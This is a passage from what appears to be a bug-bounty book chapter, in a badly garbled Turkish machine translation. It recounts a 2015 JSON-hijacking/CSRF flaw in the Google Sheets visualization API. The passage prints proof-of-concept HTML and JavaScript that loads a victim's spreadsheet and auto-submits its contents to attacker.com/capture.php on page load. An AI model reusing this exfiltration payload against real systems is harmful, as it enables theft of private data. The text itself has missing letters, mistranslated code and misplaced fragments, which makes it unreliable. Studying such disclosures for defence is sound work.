• Sonuç bulunamadı

Zorluk : Orta

URL : https://docs.google.com/spreadsheets/d/KEY Rapor Bağlantısı : https://rodneybeede.com6

Rapor Tar h : 29 Ek m 2015 Ödemel Ödül : Açıklanmadı Tanım :

Ek m 2015’te, Rodney Beede Google’da olab lecek lg nç b r güvenl k açığı buldu.

B r saldırganın, e-tablo k ml ğ n b lmes durumunda e-tabloları çalmasına z n verd . Buydu Özell kle Google’ın HTTP GET stekler n n gerçekleşt rd ğ b r faktörler b rleş m n n sonucu CSRF güvenl k açığı oluşturan ve b r OAuth bel rtec çermeyen

JSON çeren geçerl b r Javascr pt nesnes . Ona uzanarak, o yeter nce naz kt örneğ n paylaşılmasına z n ver n.

Düzeltmeden önce, Google’ın Görselleşt rme API’sı, gel şt r c ler n Google E-Tablolar’ı sorgulamalarını sağladı.

Google Dr ve’da depolanan e-tablolardan b lg ç n. Bu başarılab l rd şuna benzeyen b r HTTP GET steğ :

URL’n n ayrıntıları öneml değ l, bu yüzden ayrılmayacağız. Öneml olan

Bu steğ yaparken, Google gönder len b r OAauth bel rtec eklemem ş veya doğrulamamıştır, veya başka tür b r CSRF koruması. Sonuç olarak, saldırgan steğ çağırab l r

Mağdur adına kötü n yetl b r web sayfası aracılığıyla (örneğ n, Rodney'n n zn yle):

6 google.v sual zat on.Query = new Object ();

7 google.v sual zat on.Query.setResponse = funct on (goods) { 8 google.response = JSON.str ng fy (ürünler, tanımsız, 2);

9 }

10 </ Scr pt>

11

12 <! - Bağımsız değ şken olarak gömülü JSON d zg s ne sah p Javascr pt' döndürür ->

13 <scr pt type = "text / javascr pt" src = "https: //docs.google.com/spreadsheets/d/1 \

14 bWK2wx57QJLCsWh-jPQS07-2nka EaXPEDNGoVZwjOA / gv z / tq? Headers = 2 ve aralık = A1: H & amp \ 15 ; sheet = Sheet1 & amp; tqx = reqId% 3A0 " > </scr pt>

16

17 <Scr pt>

18 şlev kaçakçılığı (mallar) {

19 document.getElementById ('cargo') .TextText = mal;

20 document.getElementById ( 'g zl ') göndermek ().;

21 }

22 </ Scr pt>

23 </ Head>

24

25 <body onload = "smuggle (google.response);" >

26 <form act on = "https://attacker.com/capture.php" method = "POST" d = "g zl " >

27 <textarea d = "cargo" name = "cargo" satırlar = "35" cols = "70" > </textarea>

28 </ Form>

29

30 </ Body>

31 </html>

Bunu yıkalım. Göre Google'ın belgeler nde 7 , JSON yanıtı alır

Javascr pt nesnes ndek ver ler. B r stek b r responseHandler değer çerm yorsa,

7https://developers.google.com/chart/ nteract ve/docs/dev/ mplement ng_data_source#json-response-format

Sayfa 179

OAuth 167

varsayılan değer şudur google.v sual zat on.Query.setResponse . Yan , bunları akılda tutarak, 3. satırdak komut dosyası, anon m b r şlev tanımlamamız gereken nesneler oluşturmaya başlar Javascr pt nesnes le ver ler m z aldığımızda setResponse ç n çağrılacak

Google'dan.

Böylece, 8. satırda, google nesnes ndek yanıtı, yanıtın JSON değer ne ayarlıyoruz . Nesne bas tçe geçerl JSON çerd ğ nden, bu sorunsuz çalışır. İşte

yayıldıktan sonra örnek b r cevap (y ne Rodney' n zn yle):

{

Ş md , bu noktada, zek okuyucular Cross Or g n'e ne olduğunu merak etm ş olab l rler.

Kaynak Paylaşımı korumaları? Komut dosyanız Google’ın yanıtına nasıl er şeb l r?

ve kullan? Pek , Google çeren b r Javascr pt nesnes döndürdüğü ç n çıkıyor B r JSON d z s ve bu nesne anon m değ l (yan , varsayılan değer

setResponse), tarayıcı bunu geçerl Javascr pt olarak değerlend r r ve böylece saldırganların okumasını sağlar ve kullan. Meşru b r senaryoyu uzak b r s teden kend başınıza eklemey düşünün

HTML, aynı f k r. Senaryo sadece b r JSON nesnes çer yor olsaydı, olmazdı geçerl Javascr pt ve er şemed k.

Kısa sürede, bu güvenl k açığı b r süred r JSON olarak b l nen

uçak kaçırma, gasp, hırsızlık. Bunu kullanmak, anon m Javascr pt nesneler ç n de mümkündü.

Javascr pt Object.prototype öğes n geçers z kılarak. def neSetter yöntem , ancak bu Chrome 27, F refox 21 ve IE 10.

Kötü n yetl sayfamız yüklend ğ nde Rodney' n örneğ ne ger dönersek , onload olayı 25 satırındak body et ket m z n şley c s , satır 18'den kaçak şlev n gerçekleşt r r.

B z textarea elemanı olsun kargo hattının 27. formda ve b z m yayılmasına metn ayarlamak sac cevabı. Formu Rodney'n n web s tes ne gönder yoruz ve başarıyla çaldık

ver .

İlg nç b r şek lde, Rodney' n Google le olan etk leş m ne göre, bunu değ şt rmek b r

API'n n kend s nde bas t düzeltme ve gerekl değ ş kl kler. Sonuç olarak, Ek m ayında rapor ederken 29, 2015, bu 15 Eylül 2016'ya kadar çözülmed .

Sayfa 180

OAuth 168

çıkarımlar

Burada b rkaç paket serv s var. İlk olarak, OAuth güvenl k açıkları her zaman lg l değ ld r bel rteçler çalmak. OAuth tarafından korunan API stekler ne d kkat ed n.

bel rtec gönderm yor veya doğrulamıyor (ör. OAuth bel rteç başlığını kaldırmayı deney n b r tanımlayıcı varsa, URL'dek sayfa k ml ğ g b ). İk nc s , bu öneml

Tarayıcıların Javascr pt ve JSON'u nasıl yorumladığını anlamak ve anlamak. Bu güvenl k açığı, Google’ın geçerl b r şek lde döndüğü ç n kısmen mümkün SetResponse aracılığıyla er ş leb l r JSON çeren Javascr pt nesnes . Olsaydı anon m b r Javascr pt d z s , mümkün olmazdı. Son olarak, ken

K taptak ortak b r tema se, belgeler okuyun. Google’ın dokümantasyonu

Yanıtlar hakkında, gönder len ve çalışan b r kavram kanıtı gel şt rmen n anahtarı oldu.

elektron k tablo ver ler n uzaktak b r sunucuya

özet

OAuth, lk olduğunuzda başınızı etrafa sarmak ç n karmaşık b r şlem olab l r ya da en azından ben m ç n ve konuştuğum ve öğrend ğ m b lg sayar korsanlarıydı.

Bununla b rl kte, b r kez anladığınızda, ver len güvenl k açıkları ç n çok fazla potans yel vardır.

bu karmaşıklık. B r şeyler test ederken, g b yaratıcı çözümler aramaya devam ed n

Ph l ppe üçüncü part uygulamaları devralmakta ve Prakhar g b etk alanı sonekler n kötüye kullanmaktadır.

Sayfa 181